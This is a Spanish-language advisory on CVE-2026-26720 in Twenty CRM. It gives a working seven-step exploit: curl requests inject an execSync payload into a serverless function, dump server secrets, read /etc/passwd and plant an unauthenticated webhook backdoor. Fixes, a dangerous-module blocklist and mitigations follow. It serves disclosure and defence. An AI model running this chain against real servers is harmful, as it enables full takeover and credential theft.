Las funciones serverless de Twenty CRM exponen una RCE crítica y el riesgo de una puerta trasera permanente sin autenticación (CVE-2026-26720) - PoC y exploit
Análisis técnico de CVE-2026-26720, una vulnerabilidad crítica de ejecución remota de código (RCE) autenticada, con CVSS 9.8, en Twenty CRM (≤ v1.15.0). Cualquier miembro de un workspace puede crear y ejecutar funciones serverless que se ejecutan sin sandbox y con acceso completo a process.env, lo que filtra APP_SECRET, PG_DATABASE_URL y todas las credenciales del servidor. Combinadas con los flujos de trabajo activados por webhook expuestos mediante PublicEndpointGuard, un único atacante autenticado puede instalar una puerta trasera RCE permanente y sin autenticación, accesible desde cualquier punto de internet.
Exploit CVE-2026-26720
RCE autenticada mediante funciones serverless sin sandbox → puerta trasera permanente sin autenticación
3 de marzo de 2026 · CVSS 9.8 Crítica · Twenty CRM ≤ v1.15.0
| ID de CVE | CVSS | Afectado | Corregido |
|---|---|---|---|
| CVE-2026-26720 | 9.8 Crítica | Twenty CRM ≤ v1.15.0 | Twenty CRM v1.15.1 |
Twenty CRM es una plataforma CRM de código abierto con más de 28k estrellas en GitHub y una oferta en la nube gestionada. Permite a los miembros de un workspace crear «funciones serverless», es decir, código TypeScript personalizado que se ejecuta en el servidor. El problema es que estas funciones se ejecutan en un simple child_process.spawn() sin sandbox, sin restricciones de código y con herencia total del entorno del proceso padre. A continuación se explica cómo cualquier usuario autenticado, incluida una cuenta recién autoregistrada en la nube, puede lograr una RCE completa en el servidor, exfiltrar todos los secretos del servidor e instalar una puerta trasera permanente que no requiere ninguna autenticación para activarse.
Resumen ejecutivo de CVE-2026-26720: ejecución de funciones serverless sin sandbox
CVE-2026-26720 es una cadena de tres vulnerabilidades en Twenty CRM que, combinadas, producen un impacto crítico con CVSS 9.8:
-
Ejecución de código sin sandbox: las funciones serverless se ejecutan mediante
spawn(process.execPath, ...)con{ ...process.env, ...env }, lo que da al código aportado por el usuario acceso completo achild_process,fs,nety a todas las variables de entorno del servidor (APP_SECRET,PG_DATABASE_URL,REDIS_URL). -
Sin validación del código: la mutación
updateOneServerlessFunctionacepta código TypeScript arbitrario sin análisis estático, sin restricciones de AST y sin listas de bloqueo de importación de módulos.execSync,spawn,fs.readFileSync: todo está permitido. -
Endpoint de webhook sin autenticación: el endpoint
POST /webhooks/workflows/:workspaceId/:workflowIdestá protegido porPublicEndpointGuardyNoPermissionGuard, que devuelventruede forma incondicional. Una vez que un atacante vincula una función serverless maliciosa a un flujo de trabajo activado por webhook, cualquier cliente HTTP de internet puede activarlo para siempre sin credenciales.
Impacto: ejecución remota de código completa. Cualquier miembro de un workspace (incluidas las cuentas de la nube autoregistradas) puede exfiltrar todos los secretos del servidor, acceder directamente a la base de datos, leer y escribir en el sistema de archivos e instalar una puerta trasera permanente sin autenticación, todo ello mediante funcionalidades previstas del producto y sin ninguna complejidad de explotación.
Vulnerabilidad #1: ejecución de código sin sandbox con herencia completa del entorno
El sink: línea 288 de local.driver.ts
La vulnerabilidad principal se encuentra en el motor de ejecución de funciones serverless. Cuando se ejecuta una función, LocalDriver lanza un proceso hijo de Node.js:
// packages/twenty-server/src/engine/core-modules/serverless/drivers/local.driver.ts
const child = spawn(process.execPath, [runnerPath], {
env: { ...process.env, ...env }, // ALL server secrets passed to child
stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});
process.env se propaga directamente al entorno del proceso hijo. Esto significa que todos los secretos disponibles para el proceso del servidor de Twenty (APP_SECRET, PG_DATABASE_URL, REDIS_URL, credenciales de proveedores de nube, contraseñas SMTP) son accesibles para el código aportado por el usuario a través de process.env.
No hay sandbox. Ni vm2, ni isolated-vm, ni contenedor Docker, ni un perfil seccomp restrictivo. El proceso hijo se ejecuta con el mismo usuario del sistema operativo que el servidor, con el mismo acceso al sistema de archivos, el mismo acceso a la red y las mismas credenciales.
Sin restricciones de importación
La mutación updateOneServerlessFunction acepta código TypeScript arbitrario y lo compila sin restricciones:
// packages/twenty-server/src/engine/metadata-modules/serverless-function/serverless-function.resolver.ts
@Mutation(() => ServerlessFunctionDTO)
@UseGuards(SettingsPermissionGuard(PermissionFlagType.WORKFLOWS))
async updateOneServerlessFunction(
@Args('input') input: UpdateServerlessFunctionInput,
@AuthWorkspace() { id: workspaceId }: WorkspaceEntity,
) {
return await this.serverlessFunctionService.updateOneServerlessFunction(
input, // <-- attacker-controlled code, no validation
workspaceId,
);
}
El guard es SettingsPermissionGuard(PermissionFlagType.WORKFLOWS): cualquier miembro del workspace con el permiso WORKFLOWS (concedido por defecto a todos los miembros) puede crear y ejecutar código arbitrario en el servidor. No hay análisis de AST, ni lista de bloqueo de módulos peligrosos (child_process, fs, net, os), ni restricción de seguridad de contenido.
Ruta de filtración del entorno
Authenticated user
|
createOneServerlessFunction (GraphQL mutation)
|
updateOneServerlessFunction (inject code: execSync("id"))
|
executeOneServerlessFunction (GraphQL mutation)
|
serverlessFunctionService.execute()
|
LocalDriver.execute()
|
LocalDriver.runChildWithEnv()
|
spawn(process.execPath, [runnerPath], { env: { ...process.env } })
|
User code runs with ALL server secrets in process.env
|
RCE + full secret exfiltration
Vulnerabilidad #2: puerta trasera permanente sin autenticación mediante el endpoint de webhook
El punto de entrada: sin autenticación en ninguna capa
El controlador de activación por webhook expone la ejecución de flujos de trabajo a internet sin ninguna autenticación:
// packages/twenty-server/src/engine/core-modules/workflow/controllers/workflow-trigger.controller.ts
@Controller('webhooks')
export class WorkflowTriggerController {
@Post('workflows/:workspaceId/:workflowId')
@UseGuards(PublicEndpointGuard, NoPermissionGuard) // NO AUTH
async runWorkflowByPostRequest(
@Param('workspaceId') workspaceId: string,
@Param('workflowId') workflowId: string,
@Req() request: Request,
) {
return await this.runWorkflow({
workflowId,
payload: request.body || {},
workspaceId,
});
}
}
Ambos guards devuelven true de forma incondicional:
// packages/twenty-server/src/engine/guards/public-endpoint.guard.ts
@Injectable()
export class PublicEndpointGuard implements CanActivate {
canActivate(_context: ExecutionContext): boolean {
return true; // Always allow access
}
}
// packages/twenty-server/src/engine/guards/no-permission.guard.ts
@Injectable()
export class NoPermissionGuard implements CanActivate {
canActivate(_context: ExecutionContext): boolean {
return true; // No permission checks
}
}
Sin token. Sin firma. Sin lista de IP permitidas. Sin limitación de tasa en el endpoint de webhook. Una vez que un usuario autenticado crea un flujo de trabajo activado por webhook que apunta a una función serverless maliciosa, la URL resultante es un endpoint de RCE permanente y sin autenticación:
POST /webhooks/workflows/<workspaceId>/<workflowId>
Vector adicional sin autenticación: RouteTriggerController
Un segundo controlador sin autenticación expone la misma superficie de riesgo:
// packages/twenty-server/src/engine/metadata-modules/route-trigger/route-trigger.controller.ts
@Controller('s')
@UseGuards(PublicEndpointGuard, NoPermissionGuard) // NO AUTH on entire controller
export class RouteTriggerController {
@Post('*path')
async post(@Req() request: Request) {
return await this.routeTriggerService.handle({
request, httpMethod: HTTPMethod.POST,
});
}
}
Si existe un RouteTrigger con isAuthRequired: false, cualquier solicitud HTTP a /s/<path> ejecuta directamente la función serverless vinculada sin ninguna autenticación.
Prueba de concepto de CVE-2026-26720: ejecución remota de código completa
La cadena de ataque completa, desde un miembro autenticado del workspace hasta el compromiso total del servidor y una puerta trasera permanente sin autenticación, requiere 7 solicitudes HTTP. Cada paso se confirmó contra Twenty CRM v1.15.0 en un entorno de laboratorio controlado.
Configuración del laboratorio
Twenty CRM v1.15.0 en ejecución local con la configuración por defecto:
# docker-compose equivalent
services:
twenty-server:
image: twentycrm/twenty:v1.15.0
ports:
- "3000:3000" # API
- "3001:3001" # Frontend
environment:
APP_SECRET: "replace_me_with_a_random_string"
PG_DATABASE_URL: "postgres://postgres:postgres@localhost:5432/default"
REDIS_URL: "redis://localhost:6379"
Requisitos previos
Una cuenta válida de miembro del workspace. En Twenty Cloud, esto es cualquier usuario registrado. En instalaciones autoalojadas, cualquier miembro invitado. El token JWT utilizado a continuación pertenece al usuario tim@apple.dev en el workspace 2782b9df-....
Paso 1: crear una función serverless (autenticado)
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{
"query": "mutation CreateFn($input: CreateServerlessFunctionInput!) {
createOneServerlessFunction(input: $input) { id name }
}",
"variables": { "input": { "name": "pwn-rce" } }
}'
{
"data": {
"createOneServerlessFunction": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"name": "pwn-rce"
}
}
}
Paso 2: inyectar código malicioso (autenticado)
El código inyectado importa child_process.execSync y vuelca todo el entorno del servidor:
import { execSync } from 'child_process';
export const main = async (params: any): Promise<object> => {
const cmd = params?.command ?? 'id && hostname';
const out = execSync(String(cmd)).toString();
const env = JSON.stringify(process.env);
return { out, env };
};
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{
"query": "mutation UpdateFn($input: UpdateServerlessFunctionInput!) {
updateOneServerlessFunction(input: $input) { id name }
}",
"variables": {
"input": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"update": {
"name": "pwn-rce",
"code": {
"src/index.ts": "import { execSync } from '\''child_process'\'';\nexport const main = async (params: any): Promise<object> => {\n const cmd = params?.command ?? '\''id && hostname'\'';\n const out = execSync(String(cmd)).toString();\n const env = JSON.stringify(process.env);\n return { out, env };\n};"
}
}
}
}
}'
{
"data": {
"updateOneServerlessFunction": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"name": "pwn-rce"
}
}
}
Sin validación. Sin comprobación de AST. Sin importaciones bloqueadas. El código se acepta y se almacena tal cual.
Paso 3: ejecutar, RCE autenticada confirmada
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{
"query": "mutation ExecFn($input: ExecuteServerlessFunctionInput!) {
executeOneServerlessFunction(input: $input) { data logs status error }
}",
"variables": {
"input": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"payload": { "command": "id && hostname && cat /etc/passwd | head -5" },
"version": "draft"
}
}
}'
Respuesta, data.out (salida de comandos del sistema operativo):
uid=1000(soop) gid=1000(soop) groups=1000(soop),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),100(users),114(lpadmin),126(docker),984(nordvpn)
soop
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Respuesta, data.env (todos los secretos del servidor exfiltrados):
{
"APP_SECRET": "replace_me_with_a_random_string",
"PG_DATABASE_URL": "postgres://postgres:postgres@localhost:5432/default",
"REDIS_URL": "redis://localhost:6379"
}
RCE autenticada confirmada: ejecución completa de comandos y exfiltración de todo el entorno del servidor. Cualquier miembro del workspace con el permiso WORKFLOWS (el valor por defecto para todos los miembros) puede ejecutar esto.
Pasos 4-6: instalar una puerta trasera permanente sin autenticación
Con acceso autenticado, el atacante crea ahora un flujo de trabajo activado por webhook vinculado a la función serverless maliciosa:
Paso 4: crear el flujo de trabajo + establecer el trigger WEBHOOK:
# Create workflow
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{"query": "mutation { createWorkflow(data: { name: \"pwn-webhook\" }) { id name } }"}'
{"data":{"createWorkflow":{"id":"52ecef24-026d-48b0-a64b-8276570e25dd","name":"pwn-webhook"}}}
Paso 5: añadir un paso CODE que apunte a la función maliciosa, conectar el trigger y publicar la función:
# Publish serverless function
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{"query": "mutation { publishServerlessFunction(input: { id: \"679110bc-1536-4349-82c7-2a5706cc6a49\" }) { id publishedVersions } }"}'
{"data":{"publishServerlessFunction":{"id":"679110bc-1536-4349-82c7-2a5706cc6a49","publishedVersions":["1"]}}}
La versión del flujo de trabajo se configura con un trigger de tipo WEBHOOK, un paso CODE que hace referencia a la función maliciosa y una arista que conecta el trigger con el paso.
Paso 6: activar el flujo de trabajo:
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{"query": "mutation { activateWorkflowVersion(workflowVersionId: \"b4c8976f-dcb8-47ab-af50-2d20414577e6\") }"}'
{"data":{"activateWorkflowVersion":true}}
Paso 7: RCE sin autenticación, sin necesidad de credenciales
La puerta trasera está ahora activa de forma permanente. Cualquier cliente HTTP de internet puede activarla:
# NO Authorization header — completely unauthenticated
curl -s -X POST \
"http://localhost:3000/webhooks/workflows/2782b9df-4dd8-4deb-9f81-e60020b6d78f/52ecef24-026d-48b0-a64b-8276570e25dd" \
-H "Content-Type: application/json" \
-d '{"command": "id && whoami && cat /etc/passwd | head -5"}'
Respuesta inmediata (sin comprobación de autenticación):
{
"workflowName": "pwn-webhook",
"success": true,
"workflowRunId": "ccdfb94d-1566-44f2-a5ce-ab0222fffab3"
}
Resultado de la ejecución del flujo de trabajo (de los registros del servidor o de la base de datos):
uid=1000(soop) gid=1000(soop) groups=1000(soop),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),100(users),114(lpadmin),126(docker),984(nordvpn)
soop
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Secretos del servidor (el mismo volcado completo, todos exfiltrados mediante una solicitud sin autenticación):
{
"APP_SECRET": "replace_me_with_a_random_string",
"PG_DATABASE_URL": "postgres://postgres:postgres@localhost:5432/default",
"REDIS_URL": "redis://localhost:6379"
}
Ejecución completa de comandos lograda: no se requiere ninguna autenticación. La URL del webhook es una puerta trasera permanente: sin token, sin firma, sin caducidad. Una vez creada, persiste hasta que se elimina manualmente el flujo de trabajo.
Análisis de la superficie de ataque
¿Quién puede explotarla?
| Despliegue | Acceso inicial | ¿Explotable? |
|---|---|---|
| Autoalojado (varios workspaces) | Cualquier usuario registrado | Sí: compromiso total del servidor |
| Autoalojado (un solo workspace) | Cualquier miembro invitado del workspace | Sí: escalada de privilegios de miembro a control total del servidor |
Cadena de impacto
Workspace member (low privilege)
↓
Create serverless function ← intended feature, no exploit needed
↓
Inject execSync / spawn code ← no validation, no sandbox
↓
Execute function ← runs as server user, inherits process.env
↓
Exfiltrate APP_SECRET, ← full secret dump
PG_DATABASE_URL, REDIS_URL
↓
Direct database access ← read/modify all workspaces, all tenants
↓
Create webhook workflow ← permanent unauthenticated backdoor
↓
Any internet client fires webhook ← zero auth, zero credentials, forever
Cómo corregir CVE-2026-26720
Se requieren tres correcciones independientes para solucionar por completo esta cadena de vulnerabilidades:
Corrección 1: aplicar sandbox a la ejecución de funciones serverless
El entorno de ejecución de las funciones serverless debe estar aislado del proceso anfitrión. El proceso hijo nunca debe heredar las variables de entorno del padre.
// BEFORE (vulnerable): full environment inheritance
const child = spawn(process.execPath, [runnerPath], {
env: { ...process.env, ...env }, // ALL server secrets leaked
stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});
// AFTER (fixed): isolated environment — only explicit variables
const child = spawn(process.execPath, [runnerPath], {
env: {
NODE_PATH: process.env.NODE_PATH,
PATH: process.env.PATH,
...env, // only workspace-specific vars
},
stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});
Como defensa en profundidad, ejecute las funciones en un contenedor aislado (Docker/gVisor/Firecracker) con:
- Sistema de archivos de solo lectura (excepto
/tmp) - Sin acceso de red a los servicios internos
- Límites de CPU y memoria
- Usuario independiente sin privilegios
Corrección 2: validar el código de las funciones serverless
Implemente una lista de bloqueo o una lista de permitidos para las importaciones de módulos de Node.js antes de la compilación:
const BLOCKED_MODULES = [
'child_process', 'cluster', 'dgram', 'dns', 'net',
'tls', 'vm', 'worker_threads', 'fs', 'os',
];
// Parse AST and reject any import/require of blocked modules
Corrección 3: autenticar los endpoints de webhook
El endpoint de activación por webhook debe exigir autenticación, como mínimo una firma HMAC por flujo de trabajo:
// BEFORE (vulnerable): no authentication
@UseGuards(PublicEndpointGuard, NoPermissionGuard)
// AFTER (fixed): require webhook signature
@UseGuards(WebhookSignatureGuard)
async runWorkflowByPostRequest(...)
Cada flujo de trabajo activado por webhook debe tener un secreto único, y las solicitudes entrantes deben incluir una cabecera X-Webhook-Signature válida. Las solicitudes sin una firma válida deben rechazarse con 401.
Mitigación de CVE-2026-26720 y buenas prácticas
- Actualice de inmediato cuando se publique una versión con la corrección. Supervise el repositorio de GitHub y el registro de cambios de Twenty CRM.
- Restrinja las funciones serverless: si su despliegue no requiere funciones serverless personalizadas, desactive la funcionalidad por completo o limite el permiso WORKFLOWS solo a los administradores.
- Audite las funciones existentes: revise todas las funciones serverless de su workspace en busca de importaciones sospechosas (
child_process,fs,net). Consulte la tabla_metadata.serverlessFunctionen el esquema de su workspace. - Aplique un firewall a los endpoints de webhook: bloquee el acceso externo a
/webhooks/workflows/*y/s/*en el reverse proxy hasta que haya una corrección disponible. - Rote los secretos: si su instancia ha sido accesible públicamente con las funciones serverless habilitadas, asuma que todas las variables de entorno han quedado comprometidas. Rote
APP_SECRET, las credenciales de la base de datos, las credenciales de Redis, las contraseñas SMTP y todas las claves de API. - Supervise la actividad de los flujos de trabajo: audite la tabla
workflowRunen busca de ejecuciones inesperadas, en especial las que tengansource: WEBHOOKy no correspondan a ninguna integración legítima.
Referencias
| Recurso | Enlace |
|---|---|
| Twenty CRM GitHub | https://github.com/twentyhq/twenty |
| Versión Twenty CRM v1.15.0 | https://github.com/twentyhq/twenty/releases/tag/v1.15.0 |
| Documentación de NestJS Guards | https://docs.nestjs.com/guards |
| OWASP: Injection | https://owasp.org/Top10/A03_2021-Injection/ |
| CWE-94: Inyección de código | https://cwe.mitre.org/data/definitions/94.html |
| CWE-250: Ejecución con privilegios innecesarios | https://cwe.mitre.org/data/definitions/250.html |